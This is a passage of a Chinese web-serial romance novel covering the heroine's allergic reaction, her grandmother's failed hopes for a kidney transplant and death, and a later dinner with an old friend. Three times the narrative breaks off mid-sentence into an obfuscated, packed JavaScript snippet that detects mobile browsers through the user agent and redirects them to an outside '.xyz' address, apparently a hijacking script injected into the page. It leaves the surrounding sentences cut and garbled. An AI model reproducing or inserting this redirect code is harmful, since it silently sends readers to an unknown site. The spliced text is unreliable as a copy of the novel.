尽管章烨磊平时总是一副冷冰冰的样子,但江余都未曾从他身上有过这种感受。 没过多久其他人都陆陆续续的来了,这次来的人中有好些生面孔,他们也未曾见过江余,来打招呼的时候就顺便问了一嘴。 江余刚想开口,结果付政年一把揽过她,笑说:“我女朋友,江余。” 这话一出,气氛凝滞了一瞬,随后就是劈天盖地的起哄。 江余听到后也不由一愣,在众人的起哄声中尴尬地扯了扯嘴角,掩饰心中的慌乱。 当然她也没有错过朱文华沉下去的眼神。 “四叔。” 听到这道声音,付政年迅速回头,付岱正牵着付暮雨朝这边走来。 付暮雨看见付政年,直接挣脱付岱的手朝他跑来。 付政年忙伸手稳住她,话是对付岱说的,“你怎么把她给带来了?” 付岱双手一摊,一脸无辜,“大哥大嫂忙,把人送老爷子那了,我今天回去有点事,看到我非要跟着我出来,我能怎么办?” 付政年也明显不想揽这个活,“自己带出来的自己看好。” “四哥,我哪是看孩子的料啊。”看着付暮雨抱着付政年不撒手,付岱嘿嘿一笑,“而且她明显更想跟着你啊。” 眼神转到江余身上,又说:“实在不行你就让嫂子帮着看一会儿呗。” 付政年:“……” 江余:“……” 付暮雨就这样留在了付政年这,在其他人的拱火下,这小丫头竟真的叫起江余四婶来。 她纠正了好几次,可惜无果,后来越想越气,在桌下踢了付政年好几脚。 他却笑的十分欢快,似乎格外喜欢她这窘迫的样子。 不过她倒真挺喜欢付暮雨的,她说话奶声奶气,性子讨喜,也不认生,谁都让抱。 就连章烨磊看到她笑容都多了几分。 过了一会儿,陈和畅给她递来一杯果汁,跟付岱一样戏称她嫂子。 江余本来想辩驳,但又觉得一个称谓而已,她越在乎好像就显得有些心虚了。 忙着跟付暮雨玩游戏,所以江余没有注意到那杯果汁里面有菠萝。 直到她身上泛起大片红疹,她才意识到不对劲。 付政年也注意到了她的异常,看着她满脸通红,他忙问:“你怎么了?” 江余有些头晕目眩,“我好像过敏了。” 之前闲聊时江余跟付政年说过她菠萝过敏的事,他拿起那杯果汁看了下,现下也顾不得其他,跟付岱说了句看好付暮雨,到时候把她安全送回去,就带着江余走了。 身上痒起来江余也顾不得其他,伸手就去挠,付政年一边去拦她一边催促司机开快点。 到医院,医生说江余过敏比较严重,需要输液,在药效起来后她身上的瘙痒才止住。 付政年这时候才把憋许久的气发出来,“别人给你什么都喝,都不会看一下,还喝了大半杯,丧失味觉了?喝不出来?” 江余的脸上早已红肿成一片,唯一能看的也只有那一双眼睛,她眨眨眼,语气很轻,莫名有些委屈,“我也不知道里面有菠萝啊,而且里面那么多种水果,我哪尝的出来。” “……” 付政年无语极了,移开眼不想去看她,怎么就摊上这么个玩意。 等江余输完液天都快黑了,医生又给她开了些内服和外涂的药,两人这才准备回去。 门诊部前面有个广场,中间设有一个小型喷泉,树荫下放的有长椅,方便住院部的病人能够有放松的地方。 到这个点江余早就饿了,他们正在商讨着去吃什么,付政年说她现在还是个病号,去吃些清淡点的。 但江余想去吃些口味重点的。 两人就这件事争论起来,付政年说的头头是道,江余说不过他,就说他是故意虐待她。 付政年听后笑了声,低头凑到她耳边戏谑道:“你说说看,我怎么就故意虐待你了?” 说完还用鼻尖蹭了蹭她发耳垂。 江余在他手臂上拍了一下,“你能不能正经点。” 两人私底下待在一起的时候,付政年不要脸极了,以至于现在江余一听他开口就会不自觉往其他方面想。 “我哪儿不正经了?” 江余偏头瞪他,到嘴边的话硬生生憋了回去,她的眼神也由一开始的愠怒变为震惊,后来还带了一丝慌乱。 付政年顺着她的视线看过去,一个瘦骨嶙峋的老太太穿着病号服坐在长椅上看着他们。 江余立即松开付政年的手,跑到老太太面前蹲下,“奶奶,您怎么在这儿?” 老太太笑了笑,“一点小毛病,医生非要让我住院观察一下。” 说完她就看到江余还未消肿的脸,她拉过她的手一看,惊呼出声:“余余,你怎么又过敏了,难不难受,现在好点没,怎么也不注意点。” 看到她这样,老太太心疼坏了。 江余也没相信老太太说的一点小毛病,她说了句现在没事了就拿出手机给张医生打了个电话。 “喂,张医生,我奶奶是什么情况,怎么住院了也没人告诉我?” 张医生在那边轻叹了口气,“江小姐,你奶奶最近并发症越来越频繁,这一个星期都反反复复三四次了,昨天比较严重,医生建议她住几天的院看看,她不让我们告诉你,说是怕你担心。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141046|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,谢谢,我知道了。” 挂完电话江余眼睛就红了,她看着老太太,“您瞒着我干什么啊?” 她前天刚去疗养院看过她,结果一点消息都没听到。 老太太无所谓的笑笑,“又不是什么大事,你本来就忙了,再为我的事烦心不就更累了吗?” “再忙也没您重要啊,您现在感觉怎么样了?” “已经没事了,”老太太说着眼神从付政年身上扫过,一脸暧昧地问:“你不给我介绍介绍?” “……” 江余的背忽地绷直,刚刚忙着关心她的身体,都快忘记付政年还在了,她在脑子里面疯狂思索着措辞。 见她没说话,付政年主动走上前,笑道:“奶奶您好,我是余余的男朋友,我叫付政年。” 老太太看向江余,向她求证,看到她点头后才笑着上下打量了付政年一番,满意的点点头,“好好好,你们在一起多久了?” 江余抢在付政年开口前回答,“没多久。” “你家是哪的?今年几岁了?做什么工作?你爸妈他们又是做什么的?” 老太太一连串的问题抛出去,江余的反应比付政年还大,她忙开口,“奶奶,您是来查户口的吗?” 老太太有些痛心疾首,觉得她胳膊肘往外拐,“问都不能问啊?” “我家是北京的,今年28,自己做生意,我妈去世了,我爸体制内。”付政年言简意赅地说了一遍。 江余嘴角一抽。 老太太这下更满意了,觉得付政年虽然年纪大了些,但其他条件跟自家孙女倒是般配。 江余要是知道她在想什么,只怕都会哭笑不得。 “奶奶,余余刚输完液,我们还没吃饭,一起吧。”付政年说。 老太太现在知道江余有男朋友了,整个人都沉浸在喜悦中,想自己消化一会儿,不想跟着去凑这个热闹,“不用了,我吃过了,你们快去吧。” “一起吧,余余之前又总不带我来见您,现在好不容易才见到您,我还想多跟您聊聊天。” 听到付政年这话,老太太欣然应允了,还顺带着责怪了江余几句,说她什么事都瞒着不说。 江余有苦难言,只能将苦水往肚子里咽。 付政年开车带她们去了附近的饭店,有老太太在,他们点的东西都很清淡。 江余严重怀疑他是故意的。 付政年很会哄老人,一顿饭下来,老太太的嘴角就没下来过。 吃完饭,他们把老太太送回病房又待了会才走。 回去后付政年打了两个电话,给老太太换了主治医生。 他跟江余说别急,等明天医生再检查检查再告诉她具体情况。 江余已经很久没有看到奶奶像今天那么开心过了,她凑过去亲了下付政年,轻声道:“我性子比较无趣,也不懂怎么哄人开心,今天谢谢你。” 付政年抬起手本想去掐她的脸,看到她泛红的脸颊后就转变方向捏了捏她的鼻子,“谁说你性子无趣的,我就觉得挺有意思的。” 停顿了下,他又拖着尾音说:“不都跟你说过吗,别跟我说谢谢,真想谢就拿出点诚意来。” 在他说完这话后,江余就伸手勾住她的脖子,主动吻上他的唇。 付政年抵住她的后脑勺,加深了这个吻。 但事情并未如江余所想的发展下去,亲了一会儿付政年就放开她,笑说:“傻不傻,跟你开玩笑的,你现在还算个病号,我没那么禽兽,折腾一天了,快睡吧。” 说完又在她的额头上亲了一下。 他这宠溺的语气让江余有些招架不住,以至于让她都快忘了之前她摔伤的那次,他可并未考虑过她是个病患。 27. 27 第二天付政年又陪着江余去了一趟医院,医生没有隐瞒老太太的病情,他说老太太的病情恶化严重,情况十分不乐观,保不齐下次并发症发时就抢救不过来了,建议直接住院观察。 听到这个消息,江余心里沉甸甸的,无力感席卷她的全身,压的她险些喘不过气来。 付政年之前说过他会留意肾源,但是现在都还没消息,那定时十分棘手的。 其实江余老早就该想到的,他们等了十多年都没有等到一个适配的肾,这件事哪里有那么容易呢。 她捏紧手里的包,缓缓低下了头。 从这天起,江余每天下班都会来医院陪老太太一会儿,看着她身上越来越多的仪器,每次离开的时候都会红眼。 付政年有时候也会跟着她一起来,老太太看着他们感情那么好,也是极高兴的。 时间转眼就来到六月中旬,老太太的情况已经彻底恶化,常常恶心呕吐,没有一点食欲,身上也水肿的厉害,晚上睡觉的时候也经常抽搐,江余去公司的时间也少了很多,很多事都交由宁宏决定,她一直在医院守着奶奶,无论她怎么说都不走,晚上也很少回去。 看到奶奶难受的样子,她的心也是如刀割般的疼,在背地里偷偷抹眼泪,恨不得能够替她承受这痛苦。 她知道这是什么趋势,可她却无能为力,只能不断的在心里祈求上天保佑奶奶能够熬过这一劫。 付政年知道她的心情,也知道什么安慰都是徒劳无功,大多时候都只是安静的陪着她。 马上也要到江余生日了,这天付政年也来了医院,他们出去吃饭的时候他就问了她一句想要什么礼物。 江余没什么心情,也学上了他平时那套,“只要是你送的,我都喜欢。” “……” 正巧这个时候付政年的手机响了,看到来电人时他先是看了江余一眼才接起来。 听对方说完,他语气明显轻松了不少,说:“我知道了,谢谢。” 挂完电话,他笑着看向江余,说:“这个礼物你一定会喜欢。” 江余:“?” “找到能够和奶奶配上型的肾了。” 江余愣了片刻,随后一脸惊喜地问:“真的?” 付政年点点头,“真的,应该这一两天就能送到。” 江余激动的一把抱住付政年,在他唇上亲了下,“谢谢。” 悬在心里的一块石头落了地,她迫不及待的回去把这个消息告诉奶奶,老太太听后面上也露出了喜色。 陈医生去查房的时候他们也还在,他也听说了老太太配型成功的消息,就跟江余道了一声恭喜。 江余笑着感谢了他一番,又问他大概什么时候可以做手术。 陈医生笑说:“老人家血型特殊,等医院调来足够的血就可以安排。” “好,多谢陈医生。” 陈医生也没有耽搁他们的时间,没说几句就走了,只是走的时候脸色不算太好。 江余原本都已经做好最坏的心理预设了,如今听到这个好消息,激动了好几宿都没睡好,时常半夜醒来,确定是真的后才又安心睡过去。 付政年看见她这样也劝过好几次,说是别到时候老太太好了起来,她把自己熬垮了。 手术的时间还没定,却先迎来了江余的生日,这天老太太非要强撑着身体给她过生日,怎么劝都不听。 付政年就只好买了个蛋糕到病房,和老太太一起守着江余吹蜡烛。 关灯的那一刻,江余在心里默念,希望奶奶长命百岁,往后身体安康无虞。 等她把蜡烛吹灭,付政年才把灯打开。 老太太一脸慈爱地看着江余,笑道:“祝我们余余23岁生日快乐,希望你以后的每天都一直开心,健康。” 江余伸手抱了抱她,“谢谢奶奶。” 付政年过来把蛋糕上的蜡烛一根根拔下来,撕开包装袋把刀递给她。 江余笑着接过。 老太太看着二人的互动,会心一笑,突然问:“小付啊,你们也在一起一段时间了,打算什么时候结婚啊?” 江余切蛋糕的手一抖,嗔怪地看了奶奶一眼,道:“奶奶,我才23,你就那么着急把我嫁出去啊?” 老太太不太赞同她这话,“要是遇到合适的,结婚可不在早晚,而且你也得为人小付考虑考虑啊。” 江余很想说,这您就多虑了,他可不需要别人为他考虑。 付政年笑了声,看江余已经把蛋糕切好了,就递了个盘子过去给她,看着老太太说:“奶奶说的是,等您好了,我们就结婚。” 听到这话,老太太终于是高兴了。 江余猛然回头看他。 付政年却像是没有注意到她的眼神一般,继续道:“所以您现在一定要好好养好身体。” 老太太练练应好,说是她肯定好好养着,到时候要亲眼看他们结婚。 听到这些话,江余喉间一阵发涩,手也不停在发抖,她把盘中的一小块蛋糕放到老太太面前,“晚上不能吃太多甜的。” 紧接着她又给付政年和自己都切了一小块。 老太太还在一脸期待的说着以后的事,江余握着刀叉的手都紧到泛白。 她两口就把蛋糕吃完,站起来收拾了一下,扯出来一抹笑,“奶奶,他明天要出差,我送他下去。” 付政年原定的时间是今天就该走的,但为了陪她过生日,生生拖了一天。 老太太忙点头,“好,快去吧。” 付政年走之前又对她道:“奶奶,您好好注意身体,等我回来再来看您。” “好,你放心吧。” “知道了,谢谢奶奶。” 寒暄了几句,付政年才跟着江余走出病房,他牵住她的手,笑说:“礼物给你放家里了,你回去的时候再拆。” 江余轻嗯了声。 到电梯门口,付政年停下脚步,伸手把她揽进怀里,在她唇上亲了一口,“生日快乐。” 江余推了下他,“别闹,等会儿被看见,还得连累我跟你一起被人在心里骂。” 付政年笑出声:“骂就骂了,反正也听不到。” “……” “就送到这吧,你也别太辛苦,实在忙不过来就请个护工,我尽量提前把事情处理完,回来陪你。” 江余笑着点点头,“好。” 电梯也在这时候到了,付政年松开她走进去,对她挥手,“快回去吧,我走了。” 江余说没事,我看着你下去就走。 付政年没说什么,就站里面看着她笑。 电梯门合上的瞬间,江余眼中蓄满了泪水。 她没有立即回病房,而是去找了今晚值夜班的陈医生。 此时此刻江余也没有跟他兜圈子,一进去就问,“陈医生,您跟我说句实话,我奶奶手术成功的概率有多大?” 陈医生深深地看她一眼,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159176|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长叹一口气,“不超过10%。” 江余如遭雷劈,往后退了一步,她的心脏仿佛被人撕开一道口子,疼到失语,只能瞪大眼睛看着陈医生。 “老太太的病情拖的太久,身体机能也因此受到损伤,身上的病症很多,再加之血型特殊,肾脏移植极有可能会产生排斥,成功的概率不大,本来早就该告诉你的,但付公子说今天是你生日,让我过了今天再跟你说。” 江余的眼泪不受控的往下掉,她抬手抹去,又问:“那如果不做这个手术,奶奶还能坚持多久。” 陈医生的语气也有些低沉,他说:“也就这段时间了。” 他看了一眼江余,有些不忍心,“所以江小姐还是要想好,究竟要不要做手术。” 江余说她考虑考虑就出了办公室,她走到住院部楼下的长椅上坐着,眼泪止都止不住。 为什么会这样? 明明都已经看到希望了,怎么一下子就又变成这样了呢? 她到底做错了什么,才会让身边的亲人一个接着一个的离开。 她到底该做什么,才能让奶奶远离病痛,好好活着。 江余抱着自己的胳膊,弯下腰将头抵在膝盖上,她只能在这孤独又寂静的夜里,无能为力的哭泣,强迫自己接受残酷的现实。 还未等江余做出决定,隔天陈医生就告诉她,老太太主动要求放弃了手术,说要把肾留给其他更加需要的人。 江余一脸震惊的看着奶奶,难以置信地问:“为什么?” 老太太躺在病房上,有气无力地说:“本来就没有多少希望,这个手术做与不做也没什么分别。” “假如呢奶奶,假如手术就成功了呢?”江余哽咽道,“您怎么都不尝试一下就放弃了呢?” “这个概率太小了,要是手术失败,我这最后的日子都要在床上度过了,”老太太颤抖着手擦去她脸上的泪水,笑说,“余余,咱们不折腾了好不好?” “这颗肾早点出去,那个被病痛折磨的人,就可以少受些痛苦了。” 江余伏在她膝头哭的泣不成声,她断断续续的说,那我呢奶奶,我只有您一个亲人了,您为什么不为我考虑考虑。 老太太轻抚她的头,浑浊的泪珠也从眼角流出,她说:“余余,十多年了,真的太痛了,奶奶坚持不住了,最后的日子,就让我少些痛苦好不好。” 看着奶奶瘦骨嶙峋的面庞,江余很清楚些年她所承受的痛苦,如今听到她用祈求般的语气跟她说,“就这样吧,不折腾了,最后的日子就让我少些痛苦吧。” 她所有的话都卡在了喉咙里说不出来,墙上的时钟滴答响着,空气中像是有无数把刀在割破她的肌肤,刀刀见血,痛不欲生。 付政年得知老太太放弃手术的时候也沉默了一会儿,跟江余说,他尽快赶回来。 宁宏和宫白卉也来看过老太太,对于她的病情他们都只字不提,只是走的时候都难免会伤神。 江余退掉了所有的工作,寸步不离的守着奶奶,傍晚天气没那么热时她都会推着奶奶去附近逛一逛,跟她说许多许多的话。 晚上睡觉的时候也时常会惊醒,她醒来第一件事就是去摸奶奶,确认她的体温还是温热时才松一口气。 老太太是在一个早晨走的,她走在黎明初晓,这座城市刚复苏的时候。 也走在了江余的23岁。 她走的很安详。 连一句遗言都没来得及留下。 28. 28 医生宣布老太太死讯的那一刻,江余没有想象中的歇斯底里,她很平静的接受了这个事实,甚至一滴泪都没流。 她麻木的配合医生办理一系列手续,预约殡仪馆和联系墓地,把一年多前的流程再进行了一遍。 殡仪馆要三天后才有空位,老太太的遗体只能暂存太平间。 把手续办理完,江余行尸走肉般的回了家,看着空荡荡的房子,她从头到尾环顾一圈。 不久前她还在想,房子的甲醛散的差不多了,等奶奶身体好了,她们就能搬进来了。 那张一家五口的全家福还摆放在电视柜前最显眼的位置,江余拿起一旁的毛巾把上面的灰尘擦去,眼前早已模糊一片。 现在真的只剩下她一个人了。 江余走到沙发上坐下,从包里拿出奶奶的手机打开。 老太太平时很少看手机,软件也只有常用的几个,江余把每个软件都点开看了一遍,似是想要牢记她在这个世间最后的痕迹。 老太太平时也不拍照,相册里面都是她之前在微信上分享给她的图片,她全都保存了下来。 江余最后点开的录音机。 她原本以为里面会是空空如也,没曾想竟有一段音频。 时间显示是三天前录的。 她似乎心有所感,颤抖着手点开。 下一瞬,老太太虚弱无力的声音缓缓响起。 余余,我这几天的情况越来越差,也不知道会不会哪天睡过去就醒不过来了,我还有好多话想跟你说,但又怕当面说了你难受,我看了也心疼,所以就只能用这个方式告诉你了,就是不知道你什么时候才能听到这段录音。 余余,我这一走,就只剩下你一个人了,奶奶知道你一时半会儿肯定接受不了,但我们余余是个坚强又勇敢的姑娘,我相信你一定会走出来的。 你嘴上总是说着不怨,但奶奶看得出来,你心里多少是有些怨你爸的,如果不是他担忧过虑,你现在又怎么会走的那么艰难,过得那么苦。 但无论怎么说,生活总得朝前看,如果你觉得累了,千万不要强撑着,也不要有太大的压力,他们犯下的错,不应该由你来买单,奶奶只希望你过得舒心快乐。 以后如果遇到喜欢的,合适的人了,想要结婚的话记得带来给我看看,如果没有也不要将就,一个人也要好好照顾自己,无论你做什么选择,奶奶都会永远支持你的。 说到这,老太太已经气喘吁吁的了,她自嘲的笑了声,“年纪大了身体就是不中用,才说几句话就没力了气,余余,答应奶奶,你一定要好好的,我也会在天上永远保佑着你平顺安康,无病无灾。” 录音到此戛然而止,江余积压已久的情绪彻底奔溃,眼泪也似决堤一般止都止不住。 外面也不知什么时候变了天,狂风将窗帘吹的高高扬起,雨点拍打在窗户上发出啪啪的声响,因为窗户并未合上,阳台上早已被水浸湿一片。 江余抓着手机紧贴在胸口,整个人蜷缩在地上,悲切的哭声被雨声掩没。 原来她早就知道她和付政年的关系,也知道他们根本不可能有以后,所以这段时间表现如此也不过是为了叫她安心。 奶奶这一辈子都在为她操心,临了都还在为她考虑。 曾经相处的画面一帧帧从脑海里闪过,她任由眼泪掉落,嘴里不停的叫着奶奶,此刻的她像是被全世界抛弃,迫切想要抓住一点微弱的光芒。 奶奶,您走了,以后再不会有人全心全意的爱我了。 * 付政年知道老太太死讯的时候已经是晚上了,他为了早些回去,这几天一直在赶进度,终于在下午处理完了所有的事。 晚上从饭局上下来,他才发现江余一整天都没有回他的消息,当即就给她打了个电话过去,谁知响了许久都没有人接,他又接连打了好几个,还是一样的结果。 付政年当下就有一种不好的预感,便给陈医生打了过去,陈医生将老太太今晨去世的消息告知了他。 付政年心中一沉,挂完电话后他又给江余打了个过去,照样没人接。 他靠在椅背上,心里隐隐有些担忧,思索片刻,他立即吩咐助理把明天的机票改成今晚最近的航班,又叫司机加快速度回酒店收拾东西,直接赶去了机场。 谁也没想到会突然下起了雨,原本十一点的航班硬是被拖到了凌晨一点才起飞,落地北京的时候都快三点了。 北京的雨还在连绵不绝的下,付政年没有耽搁,直接去了他和江余的住处,可里面空无一人,走之前他放在茶几上的生日礼物都还原封不动的在那儿。 这一路上他不知道给江余打了多少个电话,一直都是无人接听,他烦躁的皱起眉头,心底的担忧全都写在了脸上,下楼直奔她的家而去。 到门口,他敲了一会儿的门一直没人开,后来直接打电话叫开锁师傅过来,这个点本来没多少人愿意折腾,奈何他出价太高,没等多久就有人来了。 门一打开,里面黑漆漆的一片,付政年走进去把灯打开,一眼就看见瘫倒在地上的江余。 他心中一紧,迅速走过去扶起她,她的头发被泪水糊在脸上,紧握着老太太的手机不松手,一看便知之前哭的又多伤心。 付政年唤了她好几声都没反应,他看着她通红的脸,一模她的额头果真十分烫手。 来不及想太多,他抱起江余就往外走,到医院的时候都快六点了。 等医生给她输上液,他才松了口气。 付政年坐在床边看着她,才几天不见,她就肉眼可见的消瘦了一大圈,足以想象这段时间她过得有多难熬。 医生说江余是因为这段时间精神紧绷,一直没休息好,加之老太太的离世又给她带来了不小的打击,重压之下才引发高烧不退。 输上液没多久江余就醒了,只是她的头还是很昏,浑浑噩噩的分不清是现实还是梦境,心中更是像被一块石头压着,疼的她喘不过气来。 看到付政年的时候她像是找到了一个支撑点,眼泪瞬间涌出,紧紧握着他的手不放。 付政年轻轻抬起她的头,让她枕在他腿上,轻抚着她的头安慰她,“没事的,我回来了。” 江余一直在说着,我没有奶奶了。 或许真是烧糊涂了,到后来她竟然还跟他说起了一些小时候的事。 她不像江念那样,无论喜不喜欢,都必须要上各种各样的补习班,所以她跟奶奶待在一起的时间就比较多。 爸妈有时候忙起来一两个星期不着家,回来就给她带许多零食玩具,而江念面前永远是一堆写不完的作业。 她很心疼江念,不明白爸妈为何对待两人区别会那么大,就经常把自己的东西拿去和她分享,结果每次都是不可避免的一顿争吵。 她一度觉得,这世上应该没有比她们关系还差的姐妹了。 后来她长大些了,江父的合作伙伴有一次来家中做客,她偶然听到江父的话:“我们本来只打算要念念一个孩子,余余是意外怀上的,当时我们本来是想打了的,结果医生说她妈妈身体不好,打胎伤害很大才留下的。念念以后会是我的接班人,肯定要花心思好好培养,至于余余,希望她平安快乐就好了。” 那时她才知道为何爸妈对她那么好,或许他们觉得,这是他们唯一能给她的了吧。 从那之后,江余再不会跟江念分享什么了,也不去缠着她,也再没有叫过她姐姐。 两人就这样互不干扰的长大,平时在一起连说话都是极少的。 江念从上大学就开始接触公司的事,江父确实把她培养的很优秀,年纪轻轻就能独当一面,在公司里也得到了不少人的认同。 而江余呢,选择了艺术这条路,对公司的事绝口不提一字,有时候他们在家里讨论起商场上的事,她都会寻借口离开。 老太太看着这些年她们姐妹相处的方式,说过江父许多次,但江父却一意孤行,觉得他的做法也是为未来规避风险。 感情淡点,总比以后争得头破血流好。 江母虽然也心疼江余,但她多数时候都是听江父的,故而也就什么都没说。 可他们却不知,其实她们姐妹两个都对继承他的公司一点兴趣都没有。 江余唯一一次多嘴就是在公司出事的时候,宋逸在前不久的活动上大放异彩,她着实为他感到高兴,心情也很是不错。 结果一回家她就看见他们的脸色不对,江父在客厅里打了好几个电话,脸色黑沉的吓人。 江念和江母沉默的坐在沙发上,笔记本电脑打开的页面正是利丰的股票,看走势还在持续下降。 江余当时就问了句,“是公司出什么问题了吗?” 本是随口一问,可当时江父说的话却让她一直耿耿于怀至今。 他当时应是碰了壁心情不好,说话的语气也有些重,他说:“问了有什么用,你也帮不上什么忙。” 江余的心一沉。 江母看了一眼江余,忙出声缓解气氛,“说的这是什么话,余余学的是音乐,不懂这些很正常。” 江母说着又笑看着江余,安抚道:“没事余余,我们会解决的,你放假了就好好休息,不用担心。” 江余浅浅一笑,结果还未等她开口,江父就又道:“我说的难道不是,这些年让你有空多跟念念出去认识些朋友,结果你一回家就待着不出门,找的男朋友也是个帮不上忙的,跟你说了又有什么用。” 江余很清楚的记得,当时她的心直接坠入谷底,她强扯出一抹笑来,语气很温和,却字字诛讥,“我要真是跟着江念出去结交朋友,找一个能够帮的上您的男朋友,那爸您不就该担心了吗?” 她说完那话,江父也才意识到自己的失言,若是平时他或许会顺势给她道个歉,但那天他心情也是差到了极点,就一直没说话。 江余在乎的也并不是他的道歉,她笑了笑,一言不发的进了屋。 江余烧的严重,她说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着手里的平安符,喉咙酸涩的要命,一句话都说不出来。 医生来给江余量过体温,确认她没再发烧后才让她出院。 昏睡了一整天,付政年说带她去吃饭,但她说没有胃口,也没有力气,他就只好给她叫了些清淡的粥送到家里,一点一点的哄她喝下去。 后面两天,付政年陪着江余解决老太太的身后事。 老太太的遗体送去火化场的这一天,来了一些人相送,宁彦听到老太太去世的消息后就回国了,但也是昨天才到。 他看着站在江余身边的付政年时,生生止住了想上前的步伐,只是看着她憔悴的面容,还是不由伤神。 老太太下葬后,江余状态不佳,又在家里呆了好几天才回的公司。 付政年这段时间也是一有时间就陪着她,带着她出去散心,慢慢的,江余也开始走了出来。 * 到八月初的时候,宁彦给江余发消息约她出去吃饭。 想着他回来那么久了,之前她又一直沉浸在奶奶的离世中没有走出来,他们也一直没时间见面,便应下了。 她下班后宁彦直接来公司接她,时隔一个月不见,江余脸上的气色已经好了不少。 他很清楚老太太对江余有多重要,所以看到她如今的样子,自然很欣慰。 “你工作落定了吗?”江余先开口问道。 宁彦点头,“嗯,这段时间就是在忙这件事,不然也不会这个时候才约你见面。” “在什么地方?” “回国之前就一直犹豫是在北京还是上海,这次回来深入了解了一下,最终还是决定去上海,那边的研究方向比较适合我。” “挺好的,虽然宁叔肯定更希望你留在北京,但我知道你有自己的目标,加油。” 宁彦偏头看她,突然问:“那你呢,你希望我留在北京吗?” 江余轻轻一笑,反问道:“那你会留在北京吗?” 之前宁彦要出国留学的时候,宁宏就劝过他,可宁彦对自己人生的目标一直很明确,也不管宁宏的劝阻,毅然决然的出了国。 所以江余很清楚,宁彦不会因为任何一个人而改变自己的决定。 宁彦收回目光苦涩地笑了下,“那天那位是你男朋友吗?” “算是吧。” “算是?”宁彦有些不明白,“这是什么意思?” “意思就是我也不清楚。”江余如实说,毕竟他们的关系如何,从来都是付政年一句话的事。 宁彦叹了口气,语重心长道:“余余,你知道我的心意,我也很清楚我并非是那个适合你的人,虽然我没资格跟你说这些,但我还是想说,之前宋逸就算了,毕竟他是真报着想和你谈恋爱的态度去的,但是这位,你猜得透他的心思吗,他又能给你一个满意结果吗?” “结果?”江余轻轻勾唇,慢悠悠道,“世上又有多少结果是能够让人满意的呢,与其想那么多,不如过好现在,以后的事以后再说呗。” 29. 29 看江余这样,宁彦知道他说再多都没用了,她决定好的事,从来都不会轻易改变。 这个话题到此戛然而止,接下来的时间他们没再聊这些,宁彦想让她高兴一点,就一直跟她说着在国外的一些趣事,江余确实被他逗得忍俊不禁。 这一顿饭的时间过得很快,吃完饭宁彦说送她回去,江余这次没再拒绝。 车子平稳的停在小区门口,下车前江余问:“你什么时候去上海,到时候我去送送你。” 宁彦笑出声,故意打趣她,“江总是大忙人,日理万机的,还能余出时间来送我这个闲人?” 江余睨他一眼,颇为认同的点点头,“你说的也是,那算了吧。” “余余,你这就有点过分了,认识那么多年,你就这般无情?” 江余耸耸肩,一脸无辜,“那不是你说的吗?” 宁彦无奈笑笑,“我这周六过去。” “行,我知道了,那我先走了,你回去的路上注意安全。” 说完她便去拉驾驶位的门。 宁彦突然叫住她,“余余。” 江余回头看他,等待他的后文。 宁彦盯着她看了片刻,再出声时,语气极为认真,“如果遇到什么事,记得给我发消息,我一直都在。” 江余轻笑一声,丢下句走了就下了车。 宁彦没有立即离开,他看着江余离开的背影,心中诸多感慨。 才短短几年的时间,变化竟如此之大。 其实过去的几年,他也并非没有想过,如果他当年留在国内,如果之前他没有就此放弃,会不会结果就不一样。 但后来仔细一想,这个假设根本就不可能成立,无论再来多少次,他都不会放弃出国。 在他的人生规划里,梦想和未来才是最为重要的。 所以江余注定会成为他一生的遗憾。 * 去跟宁彦吃饭前,江余给付政年发过消息,他也说他那边有事,今晚可能不回去了,所以在客厅看到付政年的时候,江余是有些诧异的。 她一边换鞋一边问:“你不是说今晚不回来了吗?” 付政年抬头看她,双手环胸,一副兴师问罪的架势,“我回来打扰到你们了?” 江余轻轻皱眉,有些不解,“什么?” 付政年冷笑一声,“我看你挺开心啊,怎么那么早就回来了,不多玩会儿?” “......” 听到这话,江余也算是搞清楚了他这莫名其妙的脾气了,她有些无语,“我下午不就跟你说过我今晚要跟朋友吃个饭吗?” “只是朋友?” “不然呢?” 付政年勾起唇角,意味深长地说:“之前我看他看你的眼神可不清白呢?” 难得见他那么较真,江余觉得有些稀奇,她走过去坐他身旁,凑近打量他,“你不会是吃醋了吧?” 付政年反问道:“才看出来?” 他承认的那么干脆,倒让江余有些不知所措,只能干巴的解释:“我跟他真只是朋友,认识很多年了,他刚回国,马上要去上海工作,走之前跟他吃个饭,没什么的。” 付政年被她逗笑了,没忍住掐了下她的脸,“江小姐,你之前是没谈过恋爱吗,怎么连哄人都不会。” 听到这话,江余笑着把他的手拍开,皮笑肉不笑道:“那自然是比不上付总身经百战来的厉害。” “......” 付政年也没有想到,就因为这句话,形势就此反转,最后他这个有理的倒变成没理的,哄了半天才把她哄好。 也是从这天开始,他决心以后跟江余说话都得留几分心眼,不然一不小心就又给她找到可以借题发挥的理由了。 这将近一年的时间里,付政年教了江余好些东西,她如今应对起公司的事也是得心应手。 